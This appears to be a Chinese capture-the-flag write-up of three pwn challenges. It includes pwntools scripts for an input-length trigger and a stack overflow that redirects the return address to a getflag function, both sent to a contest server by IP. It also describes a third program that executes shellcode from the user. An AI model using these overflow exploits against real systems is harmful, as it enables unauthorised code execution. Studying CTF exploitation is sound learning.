Pwn1
拿到程序IDA分析
发现就是一个输入字符串,长度大于0x500就直接执行cat flag。虽然溢出了,但是和溢出没有太大关系
所以利用代码如下:
from pwn import *
p = remote ("139.224.220.67" ,30004)
payload = 'a'*0x501
p.sendline(payload)
p.interactive()
Pwn2
打开IDA分析,是一个经典的栈溢出,scanf输入的时候并没有对长度进行限制,因此可以一直覆盖到返回地址
那么我们可以把返回地址覆盖为题目中给出的getflag函数即可。
所以利用代码如下:
from pwn import *
p = remote ("139.224.220.67" ,30006)
e=ELF("chall")
payload = 'a'*0x108
payload += 'a'*0x4
payload += p32(e.symbols['getflag'])
p.sendline(payload)
p.interactive()
Pwn3
IDA分析一下
发现就是分配了一块内存,地址为0xdeadb000,然后从输入流读入数据到该地址,然后执行该地址的内容。
即程序会执行我们输入的机器码。